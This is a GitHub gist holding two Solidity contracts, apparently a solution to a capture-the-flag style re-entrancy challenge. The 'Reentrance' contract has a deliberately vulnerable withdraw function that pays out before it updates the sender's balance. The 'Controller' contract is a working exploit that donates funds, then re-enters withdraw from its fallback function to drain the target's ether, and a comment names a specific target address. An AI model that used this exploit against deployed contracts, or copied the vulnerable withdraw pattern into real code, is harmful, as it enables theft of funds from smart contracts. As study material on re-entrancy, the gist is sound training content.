Skip to content

Instantly share code, notes, and snippets.

@tennisonchan
Created January 17, 2022 09:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tennisonchan/a40a199dd6c3d96dae34e1dafbb65d69 to your computer and use it in GitHub Desktop.
Save tennisonchan/a40a199dd6c3d96dae34e1dafbb65d69 to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Reentrance.sol";
contract Controller {
Reentrance public target;
constructor(address payable targetAddress) public payable {
// 0xD72957ffc647afEd747d0aDF9bA2E7674c3574EF
target = Reentrance(targetAddress);
}
function getTargetBalance() public view returns (uint256) {
return address(target).balance;
}
function getBalance() public view returns (uint256) {
return target.balanceOf(address(this));
}
function fundAccount() public payable {
target.donate{value: msg.value}(address(this));
reentryAttack();
}
function reentryAttack() public {
uint256 remindingBalance = getTargetBalance();
uint256 fundedAmount = getBalance();
if (remindingBalance > 0) {
uint256 withdrawAmount = fundedAmount < remindingBalance ? fundedAmount : remindingBalance;
target.withdraw(withdrawAmount);
}
}
// receive() external payable {
// reentryAttack();
// }
fallback() external payable {
reentryAttack();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts@3.4.0/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment